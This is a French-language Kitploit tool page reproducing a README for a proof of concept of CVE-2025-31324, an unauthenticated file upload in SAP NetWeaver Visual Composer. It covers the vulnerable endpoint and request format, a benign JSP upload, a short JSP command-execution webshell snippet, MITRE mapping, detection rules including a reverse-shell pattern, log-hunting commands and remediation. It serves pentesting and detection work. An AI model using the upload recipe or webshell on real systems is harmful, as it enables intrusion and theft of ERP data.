Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2025-31324 — Preuve de concept d'exploitation pour CVE-2025-31324, un téléversement de fichier non authentifié dans SAP NetWeaver Visual Composer, avec des conseils de détection, un mapping MITRE et des étapes de remédiation. | Kitploit
Outils/GitHubGitHub/hkenzokimura/cve-2025-31324
Analyse des VulnérabilitésExploitationExploitation d'Applications WebTests d'IntrusionApprentissage et ÉducationRed TeamingRéponse aux Incidents
GitHubhkenzokimura/cve-2025-31324

CVE-2025-31324

Preuve de concept d'exploitation pour CVE-2025-31324, un téléversement de fichier non authentifié dans SAP NetWeaver Visual Composer, avec des conseils de détection, un mapping MITRE et des étapes de remédiation.

Voir le dépôt
il y a 5h 23mPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

🔴 CVE-2025-31324 — SAP NetWeaver Visual Composer Téléversement de fichier non authentifié

Type: Preuve de concept — Recherche de vulnérabilité CVE: CVE-2025-31324 CVSS: 10.0 Critique (AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H) Statut: Corrigé — Note de sécurité SAP 3594142 + 3604119 Ajouté au KEV de la CISA: Mai 2025

⚠️ Ce PoC utilise un fichier JSP bénin (« Hello World ») pour valider la surface d'attaque sans exécuter de code malveillant. Utilisation exclusive dans des environnements autorisés à des fins de pentest et de développement de détections.

Développé par : HKK


$ cat ./vulnerability_summary.txt

La vulnérabilité CVE-2025-31324 réside dans le composant Visual Composer Metadata Uploader de SAP NetWeaver AS Java — une faille de contrôle d'autorisation manquant qui permet à tout attaquant non authentifié d'envoyer des requêtes POST vers le point de terminaison /developmentserver/metadatauploader, entraînant un téléversement non restreint de fichiers arbitraires.

La CVE affecte spécifiquement le SAP NetWeaver Visual Composer Framework version 7.50, avec un score CVSS de 10.0 — le maximum possible.

Des acteurs de la menace ont activement exploité cette vulnérabilité de janvier à mai 2025, déployant des webshells persistants sur des centaines de systèmes à travers le monde.


$ cat ./impact.txt

En raison de son fonctionnement avec des privilèges élevés et de sa proximité avec les données ERP, le mouvement latéral vers les piles SAP ABAP ou les bases de données connectées est trivial après l'exploitation.

La chaîne d'exploitation complète lors d'attaques réelles :

root@kitploit:~
Téléversement JSP (CVE-2025-31324)
    → Webshell persistant sur le serveur
        → RCE en tant que processus SAP (privilège élevé)
            → Accès aux données ERP (Finance, RH, Supply Chain)
                → Mouvement latéral vers ABAP / DB
                    → Déploiement de frameworks C2 (ex : Brute Ratel)

$ cat ./architecture.txt

Comment fonctionne le point de terminaison vulnérable

root@kitploit:~
┌─────────────────────────────────────────────────────────────────────────┐
│              CVE-2025-31324 — FLUX D'EXPLOITATION                       │
│                                                                         │
│  ATTAQUANT                   SAP NETWEAVER AS JAVA                      │
│                                                                         │
│  POST /developmentserver/metadatauploader                               │
│  Content-Type: multipart/form-data          ┌─────────────────────┐    │
│  Corps : fichier JSP/WAR/quelconque ──────► │  Metadata Uploader  │    │
│  (sans authentification)                    │                     │    │
│                                             │  ❌ Sans vérification│    │
│                                             │     d'auth          │    │
│                                             │  ❌ Sans validation  │    │
│                                             │     d'extension     │    │
│                                             │  ❌ Sans assainissement│   │
│                                             │     du contenu      │    │
│                                             └────────┬────────────┘    │
│                                                      │                 │
│                                             Fichier enregistré dans :  │
│                                             /irj/root/ ou similaire    │
│                                                      │                 │
│  GET /irj/hello_world.jsp ◄──────────────────────────┘                 │
│  → Hello World (PoC bénin)                                             │
│  → Webshell (exploit réel)                                             │
└─────────────────────────────────────────────────────────────────────────┘

Pourquoi ce point de terminaison existe-t-il ?

Le /developmentserver/metadatauploader fait partie du SAP Visual Composer — un outil de développement low-code permettant aux analystes métier de créer des applications SAP sans code Java. Le point de terminaison a été conçu pour recevoir des modèles de métadonnées pendant le développement. Bien que le composant ne soit pas activé dans la configuration par défaut de NetWeaver, Onapsis a signalé qu'il est largement activé dans les environnements de production.


$ cat ./design_decisions.md

1. Choix du payload — JSP « Hello World »

root@kitploit:~
file_content = """<%@ page language="java" contentType="text/html; charset=UTF-8" ...%>
<h1>Hello World</h1>"""

Pourquoi JSP et pas un autre format ?

SAP NetWeaver AS Java exécute une JVM — les fichiers .jsp sont interprétés directement par le conteneur de servlets (Apache Tomcat intégré) sans compilation préalable. Cela fait du JSP le format idéal pour les webshells dans les environnements Java.

Le choix du contenu bénin (« Hello World ») est délibéré pour le PoC :

  • Valide la surface vulnérable sans exécuter de code malveillant
  • Confirme le téléversement (code HTTP 200 + fichier accessible via GET)
  • Preuve médico-légale propre pour le rapport de pentest

Lors d'une exploitation réelle, le contenu serait un webshell JSP avec exécution de commandes, ex :

root@kitploit:~
<%
  String cmd = request.getParameter("cmd");
  Runtime.getRuntime().exec(cmd);
%>

2. multipart/form-data — Pourquoi ce Content-Type ?

root@kitploit:~
files = {'file': (file_name, open(file_name, 'rb'), 'application/octet-stream')}

Le point de terminaison attend une requête multipart/form-data — le même format utilisé par les formulaires HTML de téléversement de fichiers. Cela est intentionnel dans la conception originale du Visual Composer (téléversement de modèles de développement).

La bibliothèque requests assemble automatiquement les limites du multipart lorsque files= est passé — l'en-tête Content-Type: multipart/form-data; boundary=... est généré en interne.

verify=False : désactive la validation du certificat TLS — nécessaire car les environnements SAP utilisent souvent des certificats auto-signés. En production, utiliser verify='/chemin/vers/ca-bundle.crt'.

3. Chemin du point de terminaison — Anatomie de l'URL

root@kitploit:~
https://<hôte>:<port>/developmentserver/metadatauploader?CONTENTTYPE=MODEL&CLIENT=1
ComposantSignification
:50201Port par défaut du SAP ICM (Internet Communication Manager) HTTPS
/developmentserver/Servlet de développement du Visual Composer
metadatauploaderPoint de terminaison spécifique de téléversement de métadonnées
CONTENTTYPE=MODELType de contenu attendu par le point de terminaison
CLIENT=1Mandant SAP (client) — 000, 100, 001 sont courants

$ cat ./mitre_mapping.yml

root@kitploit:~
tactic: Initial Access
  - T1190  # Exploit Public-Facing Application
            # Exploitation du point de terminaison /developmentserver/metadatauploader
            # sans authentification via HTTP POST

tactic: Execution
  - T1505.003  # Server Software Component: Web Shell
               # Webshell JSP téléversé → exécuté par le conteneur de servlets (Tomcat)

tactic: Persistence
  - T1505.003  # Web Shell comme mécanisme de persistance
               # Le fichier JSP persiste dans le système de fichiers du serveur entre les redémarrages

tactic: Defense Evasion
  - T1036      # Masquerading
               # Webshells nommés comme des fichiers SAP légitimes (ex : metadata.jsp)

tactic: Discovery
  - T1082      # System Information Discovery
               # Post-RCE : énumérer les processus, utilisateurs, chemins SAP

tactic: Lateral Movement
  - T1210      # Exploitation of Remote Services
               # Accès à la pile ABAP, bases de données connectées via RCE

tactic: Collection
  - T1005      # Data from Local System
               # Accès direct aux données ERP (Finance, RH, Supply Chain)

$ cat ./affected_versions.txt

root@kitploit:~
Produit :  SAP NetWeaver Application Server Java
Composant : Visual Composer Framework
Version :   7.50 (toutes les builds avant le patch d'avril/mai 2025)

Correctifs :
  SSN 3594142 → Correctif initial (avril 2025) — atténue le téléversement de fichiers
  SSN 3604119 → Correctif de cause racine via CVE-2025-42999 (mai 2025) — traite la cause racine
  SSN 3578900, 3620498, 3621771, 3634501 → Notes complémentaires de durcissement

CISA KEV : les CVE-2025-31324 et CVE-2025-42999 ont toutes deux été ajoutées au catalogue

$ cat ./detection_opportunities.md

Détection de l'exploit (pendant l'attaque)

root@kitploit:~
# Règle : POST non authentifié vers le point de terminaison du Metadata Uploader
# Source : journal d'accès SAP Web Dispatcher / ICM

Condition :
  - method: POST
  - uri_path CONTIENT : /developmentserver/metadatauploader
  - auth_header: ABSENT
  - body_content_type: multipart/form-data

Sévérité : CRITIQUE — enquêter immédiatement
root@kitploit:~
# Journal SAP ICM — modèle suspect :
[2025-04-25 03:41:22] POST /developmentserver/metadatauploader?CONTENTTYPE=MODEL&CLIENT=1
Statut : 200 | Taille : 1337 | Auth : AUCUNE | IP : x.x.x.x

Détection de webshell (post-compromission)

root@kitploit:~
# Règle : GET vers un fichier .jsp créé récemment en dehors des chemins SAP légitimes
Condition :
  - method: GET
  - uri_path CORRESPOND À : /irj/.*\.jsp
  - file_creation_time: < 24h
  - file_PAS_DANS : [liste des JSP légitimes connus]
root@kitploit:~
# Processus enfant suspect de la JVM SAP
# Source : Sysmon / création de processus EDR
Condition :
  - parent_process: java.exe ou jstart.exe
  - child_process: cmd.exe OU powershell.exe OU sh OU bash
  - command_line CONTIENT : -c OU .socket OU .call( OU .spawn(

Red Canary a documenté le modèle de détection suivant pour l'exploitation du CVE-2025-31324 dans les environnements Linux : processus python avec l'argument -c combiné avec .socket et .call( ou .spawn( — indicatif d'un reverse shell post-webshell.

Chasse dans les journaux SAP

root@kitploit:~
# Rechercher les requêtes POST vers le point de terminaison vulnérable sur les 90 derniers jours
# Répertoire des journaux : /usr/sap/<SID>/J<inst>/work/

grep -r "metadatauploader" /usr/sap/*/work/dev_icm* | grep "POST"
grep -r "metadatauploader" /usr/sap/*/work/http_access* | grep -v "GET"

# Lister les JSP créés récemment dans le répertoire web
find /usr/sap/ -name "*.jsp" -newer /usr/sap/<SID>/SYS/global/security -type f

$ cat ./remediation.md

root@kitploit:~
PRIORITÉ : CRITIQUE — Correctif immédiat

1. Vérifier si le composant est actif :
   NWA → Configuration → Infrastructure → Java System Properties
   Rechercher : com.sap.tc.vccomp.server.vis.jms.VisJmsService

2. S'il n'est pas nécessaire → DÉSACTIVER le Visual Composer :
   NWA → Start & Stop → Services → VisualComposer → Stop

3. Appliquer les correctifs obligatoires (dans l'ordre) :
   SSN 3594142  ← critique (téléversement de fichiers)
   SSN 3604119  ← cause racine (CVE-2025-42999)
   SSN 3578900, 3620498, 3660659 (durcissement supplémentaire)

4. Configurer le filtre de sérialisation JVM (post-correctif) :
   NWA → JVM Parameters → ajouter un filtre de classes malveillantes

5. Restreindre l'accès réseau au point de terminaison dans le Web Dispatcher / Pare-feu :
   BLOQUER : /developmentserver/* pour les IP externes
   AUTORISER : uniquement les hôtes de développement autorisés

6. Vérifier les IOC — rechercher les webshells déployés avant le correctif :
   Analyser les journaux ICM depuis janvier 2025
   Rechercher les fichiers .jsp avec un contenu suspect dans /irj/

$ cat ./usage.sh

root@kitploit:~
# Installer la dépendance
pip install requests

# Modifier l'URL dans le script avant l'exécution :
# url = "https://<votre-hôte-lab>:<port>/developmentserver/metadatauploader?CONTENTTYPE=MODEL&CLIENT=1"

# Exécuter
python cve_2025_31324_poc.py

# Vérifier si le téléversement a fonctionné (le fichier doit être accessible)
curl -k https://<hôte>:<port>/irj/hello_world.jsp
# Réponse attendue si vulnérable : HTML avec « Hello World »
# Réponse attendue si corrigé : 404 ou 403

$ cat ./timeline.txt

root@kitploit:~
Jan 2025      Début de l'exploitation active in-the-wild (détectée rétroactivement)
24 avr. 2025  SAP publie CVE-2025-31324 (CVSS 10.0) + SSN 3594142
28 avr. 2025  La CISA l'ajoute au catalogue des vulnérabilités exploitées connues
29 avr. 2025  Rapid7, Qualys, Red Canary publient des analyses techniques
07 mai 2025   Onapsis + Mandiant (Google Cloud) publient un briefing conjoint
13 mai 2025   SAP publie SSN 3604119 (cause racine via CVE-2025-42999, CVSS 9.1)
15 mai 2025   La CISA ajoute CVE-2025-42999 au catalogue KEV
20 mai 2025   Date limite CISA pour le correctif sur les systèmes fédéraux américains
25 juin 2025  Unit 42 met fin à la surveillance active de la campagne

$ cat ./references.md

root@kitploit:~
CVE :        https://www.cve.org/CVERecord?id=CVE-2025-31324
Note SAP :   https://me.sap.com/notes/3594142
NVD :        https://nvd.nist.gov/vuln/detail/CVE-2025-31324
CISA KEV :   https://www.cisa.gov/known-exploited-vulnerabilities-catalog
Onapsis :    https://onapsis.com/blog/active-exploitation-of-sap-vulnerability-cve-2025-31324/
Rapid7 :     https://www.rapid7.com/blog/post/2025/04/28/etr-active-exploitation-of-sap-netweaver-visual-composer-cve-2025-31324/
Unit 42 :    https://unit42.paloaltonetworks.com/threat-brief-sap-netweaver-cve-2025-31324/
Red Canary : https://redcanary.com/blog/threat-intelligence/cve-2025-31324/

$ cat ./lessons_learned.txt

root@kitploit:~
[+] L'absence d'auth sur les points de terminaison de « développement » est un vecteur classique sous-estimé
[+] CVSS 10.0 signifie : sans auth + réseau + RCE complet — le trifecta le plus critique possible
[+] Visual Composer n'est pas par défaut mais était largement actif en production — risque de fonctionnalités fantômes
[+] Le JSP comme webshell est particulièrement furtif : sans compilation, exécuté directement par le conteneur
[+] Les acteurs de la menace ont exploité pendant plus de 3 mois avant la divulgation publique — la détection SOC est critique
[-] verify=False dans le PoC — lors d'un pentest réel, documenter le certificat auto-signé et utiliser verify=chemin
[-] CLIENT=1 codé en dur — la production peut utiliser 000, 100, 200 ; énumérer avant
[-] Le PoC ne vérifie pas si le fichier est resté accessible après le téléversement — ajouter un GET de confirmation
[→] Améliorations : argparse pour hôte/port/client, vérification automatique post-téléversement, sortie en JSON

Recherche CVE · CVSS 10.0 · Corrigé avril/mai 2025 · CISA KEV · Tests autorisés uniquement

Télécharger l’outil